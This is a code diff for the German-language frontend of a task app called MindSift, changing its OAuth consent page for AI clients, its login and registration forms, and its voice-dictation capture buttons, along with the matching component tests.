lists={[list('l1', 'Wocheneinkauf', 'owner', true), list('l2', 'Baumarkt', 'editor'), list('l3', 'WG-Archiv', 'viewer')]}
onClose={() => {}}
onConverted={() => {}}
/>
);
fireEvent.click(screen.getByText('Liste'));
expect(screen.queryByText('WG-Archiv')).toBeNull();
fireEvent.click(screen.getByText('Baumarkt'));
await waitFor(() => expect(spy).toHaveBeenCalledWith('th_1', 'keep', { convertTo: 'list_item', targetListId: 'l2' }));
});
});
+3 -3
View File
@@ -103,7 +103,7 @@ export const UserAutocomplete: React.FC<UserAutocompleteProps> = ({
return (
<div ref={containerRef} className={`relative ${className}`}>
{selectedUser ? (
<div className="h-11 sm:h-8 px-2.5 bg-panel-elevated border border-accent/40 rounded-btn flex items-center justify-between gap-2 text-xs">
<div className="h-8 px-2.5 bg-panel-elevated border border-accent/40 rounded-btn flex items-center justify-between gap-2 text-xs">
<div className="flex items-center gap-2 min-w-0">
<UserAvatar user={selectedUser} size="xs" />
<span className="font-semibold text-main truncate">
@@ -148,7 +148,7 @@ export const UserAutocomplete: React.FC<UserAutocompleteProps> = ({
onFocus={() => setIsOpen(true)}
onKeyDown={handleKeyDown}
placeholder={placeholder}
className="w-full h-11 sm:h-8 pl-8 pr-2.5 bg-input text-main border border-border rounded-btn focus:outline-none focus:border-accent text-base sm:text-xs placeholder:text-muted transition-colors disabled:opacity-50"
className="w-full h-8 pl-8 pr-2.5 bg-input text-main border border-border rounded-btn focus:outline-none focus:border-accent text-xs placeholder:text-muted transition-colors disabled:opacity-50"
/>
{showResults && (
@@ -166,7 +166,7 @@ export const UserAutocomplete: React.FC<UserAutocompleteProps> = ({
type="button"
onClick={() => handleSelect(u)}
onMouseEnter={() => setHighlightedIndex(idx)}
className={`w-full min-h-11 sm:min-h-0 px-2.5 py-1.5 flex items-center justify-between gap-2 text-left text-xs transition-colors cursor-pointer ${
className={`w-full px-2.5 py-1.5 flex items-center justify-between gap-2 text-left text-xs transition-colors cursor-pointer ${
isHighlighted
? 'bg-accent/15 text-main font-medium'
: 'hover:bg-panel-elevated text-main'
@@ -1,146 +0,0 @@
import React, { useEffect, useState } from 'react';
import { Brain, Bot, AlertCircle, ExternalLink } from 'lucide-react';
import { ApiKeyScope, OAuthAuthorizeInfo, User } from '../../lib/types';
import { SCOPES, SCOPE_GROUPS } from '../../lib/apiScopes';
import { api, triggerHaptic } from '../../lib/api';
import { ToggleSwitch } from '../../components/ToggleSwitch';
interface OAuthConsentViewProps {
user: User;
instanceName: string;
onLogout: () => void;
}
// Consent page of the OAuth flow (/oauth/authorize): an AI client such as claude.ai wants to use
// MindSift over MCP. The person picks the rights; the server answers with the URL to return to the
// client (with a code or access_denied). Shown instead of the app while the address is /oauth/authorize.
export const OAuthConsentView: React.FC<OAuthConsentViewProps> = ({ user, instanceName, onLogout }) => {
const query = window.location.search;
const [info, setInfo] = useState<OAuthAuthorizeInfo | null>(null);
const [scopes, setScopes] = useState<ApiKeyScope[]>([]);
const [error, setError] = useState<string | null>(null);
const [busy, setBusy] = useState(false);
useEffect(() => {
api
.getOAuthAuthorizeInfo(query)
.then((res) => {
// Invalid request the client must hear about: straight back
if (res.redirect) {
window.location.replace(res.redirect);
return;
}
setInfo(res);
setScopes(res.scopes || []);
})
.catch((err) => setError(err?.message || 'Die Anfrage ist ungültig.'));
}, [query]);
const toggle = (id: ApiKeyScope) =>
setScopes((prev) => (prev.includes(id) ? prev.filter((s) => s !== id) : [...prev, id]));
const answer = async (approve: boolean) => {
triggerHaptic(15);
setBusy(true);
setError(null);
try {
const res = await api.answerOAuthAuthorize(query, approve, scopes);
window.location.replace(res.redirect);
} catch (err: any) {
setError(err?.message || 'Das hat nicht geklappt.');
setBusy(false);
}
};
const offered = info?.offeredScopes || [];
const groups = SCOPE_GROUPS.filter(([group]) => SCOPES.some((sc) => sc.group === group && offered.includes(sc.id)));
return (
<div className="min-h-[100dvh] bg-canvas text-main flex flex-col items-center justify-center p-4 font-sans">
<div className="w-full max-w-md panel-surface shadow-panel overflow-hidden">
<div className="p-4 bg-canvas border-b border-border flex items-center gap-2.5">
<div className="w-7 h-7 bg-accent text-on-accent rounded-btn flex items-center justify-center">
<Brain className="w-4 h-4" />
</div>
<h1 className="text-sm font-bold text-main tracking-tight leading-none">{instanceName}</h1>
</div>
<div className="p-4 space-y-4">
{!info && !error && <p className="text-xs text-muted">Anfrage wird geprüft…</p>}
{error && (
<div className="flex items-start gap-2 text-xs text-status-err">
<AlertCircle className="w-4 h-4 flex-shrink-0 mt-px" />
<span>{error}</span>
</div>
)}
{info && (
<>
<div className="flex items-start gap-3">
<div className="w-9 h-9 bg-accent/15 text-accent rounded-btn flex items-center justify-center flex-shrink-0">
<Bot className="w-5 h-5" />
</div>
<div className="min-w-0">
<h2 className="text-sm font-bold text-main">{info.clientName} möchte auf dein MindSift zugreifen</h2>
<p className="text-xs text-muted mt-0.5">
Angemeldet als <span className="text-main">{user.displayName || user.email}</span>. Freigaben gelten wie
für dich selbst; Einstellungen bleiben gesperrt.
</p>
</div>
</div>
<div className="space-y-2" role="group" aria-label="Rechte">
{groups.map(([group, heading]) => (
<div key={group} className="border border-border rounded-card bg-panel px-3 py-1.5">
<p className="text-[11px] text-muted pt-1 pb-0.5 font-semibold">{heading}</p>
{SCOPES.filter((sc) => sc.group === group && offered.includes(sc.id)).map((sc) => (
<div key={sc.id} className="flex items-center justify-between gap-3 min-h-[44px] sm:min-h-[36px]">
<div className="min-w-0">
<span className="block text-xs text-main">{sc.label}</span>
<span className="block text-[11px] text-muted">{sc.hint}</span>
</div>
<ToggleSwitch checked={scopes.includes(sc.id)} onChange={() => toggle(sc.id)} title={sc.chip} />
</div>
))}
</div>
))}
</div>
<p className="text-[11px] text-faint flex items-center gap-1.5">
<ExternalLink className="w-3.5 h-3.5 flex-shrink-0" />
<span>
Danach geht es zurück zu <span className="font-medium text-main">{info.redirectHost}</span>. Die Verbindung
steht unter Einstellungen → API-Schlüssel und lässt sich dort jederzeit widerrufen.
</span>
</p>
<div className="flex gap-2">
<button
type="button"
disabled={busy}
onClick={() => answer(false)}
className="btn-action h-11 sm:h-9 px-4 text-sm flex-1 disabled:opacity-40"
>
Ablehnen
</button>
<button
type="button"
disabled={busy || scopes.length === 0}
onClick={() => answer(true)}
className="btn-primary h-11 sm:h-9 px-4 text-sm flex-1 disabled:opacity-40"
>
Erlauben
</button>
</div>
</>
)}
<button type="button" onClick={onLogout} className="text-[11px] text-muted hover:text-main underline h-11 sm:h-auto">
Mit einem anderen Konto anmelden
</button>
</div>
</div>
</div>
);
};
+19 -97
View File
@@ -1,4 +1,4 @@
import React, { useEffect, useState } from 'react';
import React, { useState } from 'react';
import {
Brain,
Shield,
@@ -43,71 +43,13 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
const [createSampleData, setCreateSampleData] = useState(false);
// --- Login / Invite / Register State ---
// An invite link (?invite=CODE) opens the invite form with the code filled in
const [linkInviteCode] = useState(() => new URLSearchParams(window.location.search).get('invite')?.trim().toUpperCase() || '');
const [authTab, setAuthTab] = useState<'login' | 'invite' | 'register' | 'forgot' | 'reset'>(
resetToken ? 'reset' : linkInviteCode ? 'invite' : 'login'
resetToken ? 'reset' : 'login'
);
const [email, setEmail] = useState('');
const [password, setPassword] = useState('');
const [displayName, setDisplayName] = useState('');
const [inviteCode, setInviteCode] = useState(linkInviteCode);
// Link from the confirmation mail (?verifyToken=…): confirm right away and say what happens next
useEffect(() => {
const url = new URL(window.location.href);
const token = url.searchParams.get('verifyToken');
if (!token) return;
url.searchParams.delete('verifyToken');
window.history.replaceState({}, '', url.pathname + url.search + url.hash);
setAuthTab('login');
api
.verifyEmail(token)
.then((res) => setNotice(res.message))
.catch((err) => setError(err.message || 'Der Bestätigungslink ist ungültig oder abgelaufen.'));
}, []);
// Login refused because the address is not confirmed: offer to send the link again
const [resendState, setResendState] = useState<'idle' | 'sending' | 'sent'>('idle');
const resendVerification = async () => {
setResendState('sending');
try {
await api.resendVerification(email.trim());
setResendState('sent');
setError(null);
setNotice('Falls die Adresse noch auf Bestätigung wartet, haben wir dir den Link erneut geschickt.');
} catch (err: any) {
setResendState('idle');
setError(err.message || 'Senden fehlgeschlagen');
}
};
// The code is in the form now; it should not stay in the address bar (history, screenshots)
useEffect(() => {
if (!linkInviteCode) return;
const url = new URL(window.location.href);
url.searchParams.delete('invite');
window.history.replaceState({}, '', url.pathname + url.search + url.hash);
}, [linkInviteCode]);
// Hint on the sign-up form: which addresses get in, and whether an admin approves first
const registrationHint = (() => {
const domains = (authStatus.registrationDomains || []).map((d) => '@' + d.replace(/^\*\./, '')).join(', ');
switch (authStatus.registrationMode) {
case 'approval':
return 'Nach der Registrierung gibt ein Administrator dein Konto frei.';
case 'open':
return authStatus.emailVerification ? 'Du bekommst eine E-Mail, um deine Adresse zu bestätigen.' : '';
case 'domain':
return domains ? `Registrierung mit E-Mail-Adressen von ${domains}.` : '';
case 'domain+approval':
return domains
? `Mit Adressen von ${domains} geht es sofort, andere Konten gibt ein Administrator frei.`
: 'Nach der Registrierung gibt ein Administrator dein Konto frei.';
}
return '';
})();
const registrationHintFull =
registrationHint && authStatus.emailVerification && authStatus.registrationMode !== 'open'
? `${registrationHint} Vorher bestätigst du deine Adresse per E-Mail.`
: registrationHint;
const [inviteCode, setInviteCode] = useState('');
const [submitting, setSubmitting] = useState(false);
const [error, setError] = useState<string | null>(null);
@@ -225,13 +167,6 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
try {
const code = authTab === 'invite' ? inviteCode.trim() : '';
const res = await api.register(email.trim(), password, displayName.trim(), code);
if (res.pending || !res.user) {
// Waiting for approval: back to the login form with the explanation
setNotice(res.message || 'Dein Konto wartet auf die Freigabe durch einen Administrator.');
setPassword('');
setAuthTab('login');
return;
}
onAuthenticated(res.user);
} catch (err: any) {
setError(err.message || 'Registrierung fehlgeschlagen');
@@ -245,7 +180,7 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
// ============================================================================
if (authStatus.needsSetup) {
return (
<div className="min-h-[100dvh] bg-canvas text-main flex flex-col items-center justify-center p-4 font-sans">
<div className="min-h-screen bg-canvas text-main flex flex-col items-center justify-center p-4 font-sans">
<div className="w-full max-w-xl panel-surface shadow-panel overflow-hidden">
{/* Top Brand Bar */}
<div className="p-4 bg-canvas border-b border-border flex items-center justify-between">
@@ -472,7 +407,7 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
// STANDARD LOGIN / INVITE CODE / REGISTRATION VIEW
// ============================================================================
return (
<div className="min-h-[100dvh] bg-canvas text-main flex flex-col items-center justify-center p-4 font-sans">
<div className="min-h-screen bg-canvas text-main flex flex-col items-center justify-center p-4 font-sans">
<div className="w-full max-w-md panel-surface shadow-panel overflow-hidden">
{/* Top Header */}
<div className="p-4 bg-canvas border-b border-border flex items-center justify-between">
@@ -546,17 +481,7 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
{error && (
<div className="mb-4 alert-err flex items-center gap-2">
<AlertCircle className="w-4 h-4 text-status-err flex-shrink-0" />
<span className="flex-1">{error}</span>
{/bestätige zuerst deine E-Mail/i.test(error) && email.trim() && (
<button
type="button"
onClick={() => void resendVerification()}
disabled={resendState !== 'idle'}
className="btn-action h-8 px-2.5 text-[11px] shrink-0 disabled:opacity-50"
>
{resendState === 'sending' ? 'Sende…' : 'Link erneut senden'}
</button>
)}
<span>{error}</span>
</div>
)}
{notice && !error && (
@@ -706,18 +631,9 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
/>
</div>
<div className="relative">
<label className="block text-muted mb-1">Passwort</label>
<input
type="password"
value={password}
onChange={(e) => setPassword(e.target.value)}
placeholder="••••••••"
required
className="w-full h-8 px-2.5 input-field"
/>
{/* After the field in the markup, so Tab goes from the name straight to the password;
shown next to the label */}
<div>
<div className="flex items-baseline justify-between mb-1">
<label className="block text-muted">Passwort</label>
{authStatus.passwordReset && (
<button
type="button"
@@ -726,12 +642,21 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
setError(null);
setNotice(null);
}}
className="absolute right-0 -top-1 text-accent hover:underline text-[11px] py-1"
className="text-accent hover:underline text-[11px] py-1"
>
Passwort vergessen?
</button>
)}
</div>
<input
type="password"
value={password}
onChange={(e) => setPassword(e.target.value)}
placeholder="••••••••"
required
className="w-full h-8 px-2.5 input-field"
/>
</div>
<div className="pt-1">
<button
@@ -762,9 +687,6 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
{(authTab === 'invite' || authTab === 'register') && (
<form onSubmit={handleRegisterOrInvite} className="space-y-3.5">
{authTab === 'register' && registrationHintFull && (
<p className="text-[11px] text-muted bg-canvas border border-border rounded-btn px-2.5 py-2">{registrationHintFull}</p>
)}
{authTab === 'invite' && (
<div>
<label className="block text-muted mb-1">Einladungscode *</label>
@@ -1,75 +0,0 @@
import { describe, it, expect, vi, beforeEach } from 'vitest';
import { render, screen, fireEvent, act } from '@testing-library/react';
const getOAuthAuthorizeInfo = vi.fn();
const answerOAuthAuthorize = vi.fn(async () => ({ redirect: 'https://claude.ai/cb?code=c' }));
vi.mock('../../../lib/api', () => ({
api: {
getOAuthAuthorizeInfo: (...args: unknown[]) => getOAuthAuthorizeInfo(...(args as [])),
answerOAuthAuthorize: (...args: unknown[]) => answerOAuthAuthorize(...(args as [])),
},
triggerHaptic: vi.fn(),
}));
import { OAuthConsentView } from '../OAuthConsentView';
const user = { id: 'u', email: 'a@b.de', displayName: 'Anna', role: 'member', isActive: true } as never;
const replace = vi.fn();
describe('OAuthConsentView', () => {
beforeEach(() => {
replace.mockClear();
answerOAuthAuthorize.mockClear();
getOAuthAuthorizeInfo.mockReset();
Object.defineProperty(window, 'location', {
configurable: true,
value: { search: '?client_id=mcl_1&state=s', replace },
});
});
it('preselects the requested rights and sends the chosen ones', async () => {
getOAuthAuthorizeInfo.mockResolvedValue({
clientName: 'Claude',
redirectHost: 'claude.ai',
scopes: ['tasks:read', 'tasks:write', 'lists:read', 'lists:write'],
offeredScopes: ['tasks:read', 'tasks:write', 'lists:read', 'lists:write', 'webhook:triage'],
});
render(<OAuthConsentView user={user} instanceName="MindSift" onLogout={() => {}} />);
expect(await screen.findByText('Claude möchte auf dein MindSift zugreifen')).toBeTruthy();
expect(screen.getByText('claude.ai')).toBeTruthy();
expect(screen.getByRole('switch', { name: 'Inbox' }).getAttribute('aria-checked')).toBe('false');
// Narrow "create only" rights are not offered here
expect(screen.queryByRole('switch', { name: 'Aufgaben anlegen' })).toBeNull();
fireEvent.click(screen.getByRole('switch', { name: 'Listen ändern' }));
await act(async () => {
fireEvent.click(screen.getByRole('button', { name: 'Erlauben' }));
});
expect(answerOAuthAuthorize).toHaveBeenCalledWith('?client_id=mcl_1&state=s', true, ['tasks:read', 'tasks:write', 'lists:read']);
expect(replace).toHaveBeenCalledWith('https://claude.ai/cb?code=c');
});
it('refuses, and cannot allow without any right', async () => {
getOAuthAuthorizeInfo.mockResolvedValue({ clientName: 'X', redirectHost: 'x.example', scopes: ['tasks:read'], offeredScopes: ['tasks:read'] });
render(<OAuthConsentView user={user} instanceName="MindSift" onLogout={() => {}} />);
fireEvent.click(await screen.findByRole('switch', { name: 'Aufgaben lesen' }));
expect((screen.getByRole('button', { name: 'Erlauben' }) as HTMLButtonElement).disabled).toBe(true);
await act(async () => {
fireEvent.click(screen.getByRole('button', { name: 'Ablehnen' }));
});
expect(answerOAuthAuthorize).toHaveBeenCalledWith('?client_id=mcl_1&state=s', false, []);
});
it('goes straight back when the server says the request is invalid for the client', async () => {
getOAuthAuthorizeInfo.mockResolvedValue({ redirect: 'https://claude.ai/cb?error=invalid_request' });
render(<OAuthConsentView user={user} instanceName="MindSift" onLogout={() => {}} />);
await act(async () => {});
expect(replace).toHaveBeenCalledWith('https://claude.ai/cb?error=invalid_request');
});
it('shows the error when there is nowhere safe to return to', async () => {
getOAuthAuthorizeInfo.mockRejectedValue(new Error('Die Anwendung ist MindSift nicht bekannt.'));
render(<OAuthConsentView user={user} instanceName="MindSift" onLogout={() => {}} />);
expect(await screen.findByText('Die Anwendung ist MindSift nicht bekannt.')).toBeTruthy();
expect(screen.queryByRole('button', { name: 'Erlauben' })).toBeNull();
});
});
+126 -84
View File
@@ -1,8 +1,6 @@
import React, { useEffect, useRef, useState } from 'react';
import { Mic, Plus } from 'lucide-react';
import { triggerHaptic } from '../../lib/api';
import { useVoiceInput } from '../../lib/useVoiceInput';
import { VoiceWave } from '../../components/VoiceWave';
export interface HoldToRecordFabProps {
onTap: () => void;
@@ -21,15 +19,17 @@ export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTrans
const [toastMessage, setToastMessage] = useState<string | null>(null);
const isPressedRef = useRef(false);
// A press that turned into a hold must not also count as a tap when the browser sends its click
const suppressClickRef = useRef(false);
const didEnterHoldRef = useRef(false);
const fallbackHandledRef = useRef(false);
const isCancelZoneRef = useRef(false);
const abortedRef = useRef(false);
const isStoppingRef = useRef(false);
const hasEndedRef = useRef(false);
const finalizedRef = useRef(false);
const startYRef = useRef(0);
const transcriptRef = useRef('');
const recognitionRef = useRef<any>(null);
const holdTimerRef = useRef<number | null>(null);
const stopTimerRef = useRef<number | null>(null);
const toastTimerRef = useRef<number | null>(null);
@@ -48,67 +48,17 @@ export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTrans
}
};
const showToast = (msg: string, sticky = false) => {
const showToast = (msg: string) => {
if (toastTimerRef.current !== null) {
window.clearTimeout(toastTimerRef.current);
toastTimerRef.current = null;
}
setToastMessage(msg);
if (sticky) return;
toastTimerRef.current = window.setTimeout(() => {
setToastMessage(null);
toastTimerRef.current = null;
}, TOAST_DURATION_MS);
};
const finalizeRecording = async (text: string) => {
if (finalizedRef.current) return;
finalizedRef.current = true;
clearStopTimer();
setLiveTranscript('');
const trimmed = text.trim();
if (!trimmed) {
showToast('Nichts erkannt');
return;
}
try {
await onTranscript(trimmed);
triggerHaptic(25);
showToast('Im Quick Dump gespeichert');
} catch {
showToast('Fehler beim Speichern');
}
};
// Own Whisper server (text in chunks while speaking) or the browser's recognition (text while speaking)
const voice = useVoiceInput({
continuous: true,
chunked: true,
onText: (text, final) => {
transcriptRef.current = text;
if (!final) {
setLiveTranscript(text);
return;
}
void finalizeRecording(text);
},
onError: (message) => {
clearStopTimer();
setIsRecording(false);
setIsCancelZone(false);
setLiveTranscript('');
if (didEnterHoldRef.current && isPressedRef.current && !fallbackHandledRef.current) {
// Recording could not start: open the normal capture sheet instead
fallbackHandledRef.current = true;
showToast(message);
onTap();
return;
}
finalizedRef.current = true;
showToast(message);
},
});
useEffect(() => {
return () => {
clearHoldTimer();
@@ -116,28 +66,112 @@ export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTrans
if (toastTimerRef.current !== null) {
window.clearTimeout(toastTimerRef.current);
}
if (recognitionRef.current) {
try {
recognitionRef.current.abort?.();
} catch {
// ignore cleanup errors
}
}
};
}, []);
useEffect(() => {
if (voice.state === 'transcribing') showToast('Wird erkannt…', true);
}, [voice.state]);
const finalizeRecording = async () => {
if (finalizedRef.current) return;
finalizedRef.current = true;
clearStopTimer();
recognitionRef.current = null;
if (abortedRef.current) return;
const text = transcriptRef.current.trim();
setLiveTranscript('');
if (!text) {
showToast('Nichts erkannt');
return;
}
try {
await onTranscript(text);
triggerHaptic(25);
showToast('Im Quick Dump gespeichert');
} catch {
showToast('Fehler beim Speichern');
}
};
const startVoiceRecording = () => {
if (voice.mode === 'off' || voice.mode === 'unsupported') {
const SpeechRecognition =
(window as any).SpeechRecognition || (window as any).webkitSpeechRecognition;
if (!SpeechRecognition) {
fallbackHandledRef.current = true;
if (voice.mode === 'unsupported') showToast('Spracheingabe wird von diesem Browser nicht unterstützt');
showToast('Spracheingabe wird von diesem Browser nicht unterstützt');
onTap();
return;
}
try {
const recognition = new SpeechRecognition();
recognition.lang = 'de-DE';
recognition.interimResults = true;
recognition.continuous = true;
transcriptRef.current = '';
abortedRef.current = false;
isStoppingRef.current = false;
hasEndedRef.current = false;
finalizedRef.current = false;
isCancelZoneRef.current = false;
recognition.onresult = (event: any) => {
let combined = '';
for (let i = 0; i < event.results.length; i++) {
combined += event.results[i][0].transcript;
}
transcriptRef.current = combined;
setLiveTranscript(combined);
};
recognition.onerror = (event: any) => {
const errCode = event?.error;
if (errCode === 'not-allowed' || errCode === 'service-not-allowed') {
abortedRef.current = true;
clearStopTimer();
setIsRecording(false);
setIsCancelZone(false);
setLiveTranscript('');
if (!fallbackHandledRef.current) {
fallbackHandledRef.current = true;
showToast('Mikrofon nicht freigegeben');
onTap();
}
return;
}
if (isStoppingRef.current) {
void finalizeRecording();
}
};
recognition.onend = () => {
hasEndedRef.current = true;
if (isStoppingRef.current) {
void finalizeRecording();
}
};
recognitionRef.current = recognition;
setLiveTranscript('');
setIsCancelZone(false);
setIsRecording(true);
triggerHaptic([15, 60, 25]);
void voice.start();
recognition.start();
} catch {
fallbackHandledRef.current = true;
setIsRecording(false);
showToast('Spracheingabe wird von diesem Browser nicht unterstützt');
onTap();
}
};
const handlePointerDown = (e: React.PointerEvent<HTMLButtonElement>) => {
@@ -153,7 +187,6 @@ export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTrans
clearStopTimer();
isPressedRef.current = true;
suppressClickRef.current = false;
didEnterHoldRef.current = false;
fallbackHandledRef.current = false;
isCancelZoneRef.current = false;
@@ -163,7 +196,6 @@ export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTrans
holdTimerRef.current = null;
if (!isPressedRef.current) return;
didEnterHoldRef.current = true;
suppressClickRef.current = true;
startVoiceRecording();
}, HOLD_DELAY_MS);
};
@@ -191,8 +223,7 @@ export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTrans
clearHoldTimer();
if (!didEnterHoldRef.current) {
// A short tap opens on the click that follows. Opening here already would let that click land
// on the freshly opened sheet's backdrop and close it again at once.
onTap();
return;
}
@@ -204,23 +235,34 @@ export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTrans
setIsCancelZone(false);
if (isCancelZoneRef.current) {
finalizedRef.current = true;
abortedRef.current = true;
clearStopTimer();
setLiveTranscript('');
triggerHaptic(15);
voice.cancel();
try {
recognitionRef.current?.abort?.();
} catch {
// ignore
}
recognitionRef.current = null;
return;
}
// The browser's recognition sometimes never reports its end: save what was heard after a moment.
// The own server answers when it is done (with its own time limit).
if (voice.mode !== 'server') {
isStoppingRef.current = true;
if (hasEndedRef.current || !recognitionRef.current) {
void finalizeRecording();
return;
}
stopTimerRef.current = window.setTimeout(() => {
voice.cancel();
void finalizeRecording(transcriptRef.current);
void finalizeRecording();
}, STOP_TIMEOUT_MS);
try {
recognitionRef.current.stop();
} catch {
void finalizeRecording();
}
void voice.stop();
};
const handlePointerCancel = (e: React.PointerEvent<HTMLButtonElement>) => {
@@ -236,11 +278,16 @@ export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTrans
clearStopTimer();
if (didEnterHoldRef.current && !fallbackHandledRef.current) {
finalizedRef.current = true;
abortedRef.current = true;
setIsRecording(false);
setIsCancelZone(false);
setLiveTranscript('');
voice.cancel();
try {
recognitionRef.current?.abort?.();
} catch {
// ignore
}
recognitionRef.current = null;
}
};
@@ -261,8 +308,7 @@ export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTrans
<div className="text-xs font-semibold">🗑️ Zum Abbrechen loslassen</div>
) : (
<div className="space-y-1">
<div className="text-xs font-semibold text-main flex items-center justify-center gap-2">
{voice.mode === 'server' && <VoiceWave getLevel={voice.level} bars={7} className="h-4 text-accent" />}
<div className="text-xs font-semibold text-main">
Ich höre zu… (loslassen speichert)
</div>
{displayedTranscript ? (
@@ -294,13 +340,9 @@ export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTrans
onPointerUp={handlePointerUp}
onPointerCancel={handlePointerCancel}
onContextMenu={(e) => e.preventDefault()}
// Taps, keyboard, screen readers and switch control all end in a click; after a hold it is ignored
onClick={() => {
if (suppressClickRef.current) {
suppressClickRef.current = false;
return;
}
onTap();
// Keyboard, screen readers and switch control produce a click without pointer events (detail 0)
onClick={(e) => {
if (e.detail === 0) onTap();
}}
className={
isRecording
@@ -1,8 +1,8 @@
import React, { useEffect, useRef, useState, useMemo } from 'react';
import React, { useEffect, useRef, useState } from 'react';
import {
Mic,
MicOff,
ArrowDown,
ArrowUp,
Sparkles,
Calendar,
Check,
@@ -13,13 +13,9 @@ import {
ChevronDown,
AlertTriangle,
Flame,
Loader2,
} from 'lucide-react';
import { PriorityLevel, SharedList, TaskList, Thought } from '../../lib/types';
import { PriorityLevel, SharedList, Thought } from '../../lib/types';
import { api, triggerHaptic } from '../../lib/api';
import { readViewSession, writeViewSession } from '../../lib/viewSession';
import { useVoiceInput } from '../../lib/useVoiceInput';
import { VoiceWave } from '../../components/VoiceWave';
export type CaptureTarget = 'inbox' | 'task' | 'list_item' | 'document';
@@ -42,49 +38,23 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
hideTargetPicker = false,
fixedTarget,
}) => {
// Read-only shared lists cannot take new items; stable reference for the effect below
const writableLists = useMemo(() => lists.filter((l) => l.isOwner || l.role !== 'viewer'), [lists]);
const [content, setContent] = useState('');
const [priority, setPriority] = useState<PriorityLevel>('normal');
const [dueDate, setDueDate] = useState('');
const [target, setTarget] = useState<CaptureTarget>(fixedTarget || 'inbox');
// Last chosen list per target, for this tab (lib/viewSession)
const remembered = useMemo(() => readViewSession<{ listId: string; taskListId: string }>('capture'), []);
const [targetListId, setTargetListId] = useState<string>(remembered.listId || '');
const [targetTaskListId, setTargetTaskListId] = useState<string>(remembered.taskListId || '');
const [taskLists, setTaskLists] = useState<TaskList[]>([]);
const writableTaskLists = useMemo(() => taskLists.filter((l) => l.permission !== 'viewer'), [taskLists]);
const [targetListId, setTargetListId] = useState<string>('');
const [showOptions, setShowOptions] = useState(defaultShowOptions || hideTargetPicker);
const [voiceError, setVoiceError] = useState<string | null>(null);
const [isListening, setIsListening] = useState(false);
const [isSubmitting, setIsSubmitting] = useState(false);
const [justSavedLabel, setJustSavedLabel] = useState<string | null>(null);
const [isMultiline, setIsMultiline] = useState(false);
// Text length at which the bar became multiline: there the buttons move below the text and the field
// gets wider, so it only goes back to one line once the text is clearly shorter (no flip-flopping)
const multilineAtRef = useRef(0);
const inputRef = useRef<HTMLTextAreaElement>(null);
const containerRef = useRef<HTMLFormElement>(null);
const recognitionRef = useRef<any>(null);
const baseVoiceTextRef = useRef('');
const hasVoiceInputRef = useRef(false);
// Voice input: own Whisper server or the browser's recognition (lib/voice.ts)
const voice = useVoiceInput({
chunked: true,
onText: (text, final) => {
const base = baseVoiceTextRef.current;
if (text) setContent(base ? `${base} ${text}` : text);
if (final) inputRef.current?.focus();
},
onError: (message) => {
setVoiceError(message);
window.setTimeout(() => setVoiceError(null), 4000);
},
});
const isListening = voice.state === 'listening';
const isTranscribing = voice.state === 'transcribing';
const [isOverMaxHeight, setIsOverMaxHeight] = useState(false);
const adjustHeight = (el?: HTMLTextAreaElement | null) => {
const targetEl = el || inputRef.current;
if (!targetEl) return;
@@ -92,20 +62,9 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
if (targetEl.value) {
const scrollH = targetEl.scrollHeight;
targetEl.style.height = `${Math.min(scrollH, 140)}px`;
const len = targetEl.value.length;
const wraps = targetEl.value.includes('\n') || scrollH > 28;
setIsMultiline((was) => {
if (!was && wraps) {
multilineAtRef.current = len;
return true;
}
if (was && !wraps) return len >= multilineAtRef.current - 8;
return wraps;
});
setIsOverMaxHeight(scrollH > 140);
setIsMultiline(targetEl.value.includes('\n') || scrollH > 28);
} else {
setIsMultiline(false);
setIsOverMaxHeight(false);
}
};
@@ -118,26 +77,10 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
}, [autoFocusTrigger]);
useEffect(() => {
if (!targetListId && writableLists.length > 0) {
setTargetListId(writableLists[0].id);
if (!targetListId && lists.length > 0) {
setTargetListId(lists[0].id);
}
}, [writableLists, targetListId]);
useEffect(() => {
writeViewSession('capture', { listId: targetListId, taskListId: targetTaskListId });
}, [targetListId, targetTaskListId]);
// Task lists only matter once the options are open; loaded each time, so new lists show up
useEffect(() => {
if (!showOptions || hideTargetPicker) return;
api
.getTaskLists()
.then((tl) => setTaskLists(Array.isArray(tl) ? tl : []))
.catch(() => {});
}, [showOptions, hideTargetPicker]);
// A remembered task list that is gone (deleted, access removed) falls back to all tasks
const selectedTaskList = writableTaskLists.find((l) => l.id === targetTaskListId);
}, [lists, targetListId]);
// Close dropdown on outside click
useEffect(() => {
@@ -175,39 +118,80 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
}, []);
const toggleVoiceDictation = () => {
if (voice.state === 'idle') {
const SpeechRecognition =
(window as any).SpeechRecognition || (window as any).webkitSpeechRecognition;
if (!SpeechRecognition) {
alert('Spracheingabe wird von diesem Browser nicht direkt unterstützt (bitte Chrome, Edge oder Safari nutzen).');
return;
}
if (isListening && recognitionRef.current) {
recognitionRef.current.stop();
setIsListening(false);
return;
}
try {
baseVoiceTextRef.current = content.replace(/\s*\[…\]$/, '').trim();
hasVoiceInputRef.current = true;
setVoiceError(null);
const recognition = new SpeechRecognition();
recognition.lang = 'de-DE';
recognition.continuous = false;
recognition.interimResults = true;
recognition.onstart = () => {
setIsListening(true);
triggerHaptic(20);
};
recognition.onresult = (event: any) => {
let transcript = '';
